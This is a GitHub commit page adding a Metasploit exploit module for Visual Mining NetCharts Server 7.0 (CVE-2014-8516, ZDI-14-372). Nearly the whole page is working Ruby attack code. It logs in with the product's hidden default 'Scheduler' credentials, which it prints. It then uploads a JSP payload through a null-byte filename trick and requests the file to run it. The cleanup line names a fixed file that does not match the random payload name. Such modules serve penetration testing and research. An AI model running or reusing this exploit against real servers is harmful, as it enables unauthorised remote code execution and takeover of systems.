Skip to content

Commit c08993a

Browse files
committed
Add module for ZDI-14-372
1 parent 7ba705f commit c08993a

File tree

1 file changed

+138
-0
lines changed

1 file changed

+138
-0
lines changed
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
DEFAULT_USERNAME = 'Scheduler'
15+
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
16+
SIGNATURE = 'was uploaded successfully and is now ready for installation'
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
21+
'Description' => %q{
22+
This module exploits multiple vulnerabilities on Visual Mining NetCharts. First of all, a
23+
lack of input validation in the administration console allows to upload arbitrary jsp code
24+
to locations accessible later through the web service. But authentication is required to
25+
access the administration console. To bypass authentication, a 'hidden' user is available
26+
by default (and non editable). This user, named 'Scheduler', only will be able to log in
27+
the console after some modification in the user's database. If the 'Scheduler' user isn't
28+
available it's possible to provide valid credentials through the datastore options.
29+
},
30+
'Author' =>
31+
[
32+
'sghctoma', # Vulnerability Discovery
33+
'juan vazquez' # Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
['CVE', '2014-8516'],
39+
['ZDI', '14-372']
40+
],
41+
'Privileged' => true,
42+
'Platform' => %w{ linux win },
43+
'Arch' => ARCH_JAVA,
44+
'Targets' =>
45+
[
46+
['Visual Mining NetCharts Server 7.0', {}]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Nov 03 2014'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8001),
54+
OptString.new('USERNAME', [false, "The username to authenticate with"]),
55+
OptString.new('PASSWORD', [false, "The password to authenticate with"])
56+
], self.class)
57+
end
58+
59+
def check
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
63+
'vars_get' => { 'mode' => 'getZip' },
64+
'authorization' => basic_auth(username, password)
65+
})
66+
67+
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
68+
return Exploit::CheckCode::Detected
69+
end
70+
71+
Exploit::CheckCode::Safe
72+
end
73+
74+
def exploit
75+
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
76+
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
77+
if upload(jsp_payload, payload.encoded)
78+
print_good("#{peer} - JSP payload uploaded successfully")
79+
register_file_for_cleanup('./webapps/Admin/archive/ArchiveCache/v6NN6211GFnwXrgO9.jsp')
80+
else
81+
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
82+
end
83+
84+
print_status("#{peer} - Executing payload...")
85+
execute(jsp_payload, 1)
86+
end
87+
88+
def execute(jsp_name, time_out = 20)
89+
res = send_request_cgi({
90+
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
91+
'method' => 'GET',
92+
'authorization' => basic_auth(username, password)
93+
}, time_out)
94+
95+
res
96+
end
97+
98+
def upload(file_name, contents)
99+
post_data = Rex::MIME::Message.new
100+
post_data.add_part(
101+
contents,
102+
'application/octet-stream',
103+
nil,
104+
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
105+
)
106+
107+
res = send_request_cgi({
108+
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
109+
'method' => 'GET',
110+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
111+
'data' => post_data.to_s,
112+
'vars_get' => { 'mode' => 'getZip' },
113+
'authorization' => basic_auth(username, password)
114+
})
115+
116+
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
117+
return true
118+
end
119+
120+
false
121+
end
122+
123+
def username
124+
if datastore['USERNAME'].blank?
125+
return DEFAULT_USERNAME
126+
end
127+
128+
datastore['USERNAME']
129+
end
130+
131+
def password
132+
if datastore['PASSWORD'].blank?
133+
return DEFAULT_PASSWORD
134+
end
135+
136+
datastore['PASSWORD']
137+
end
138+
end

0 commit comments

Comments
 (0)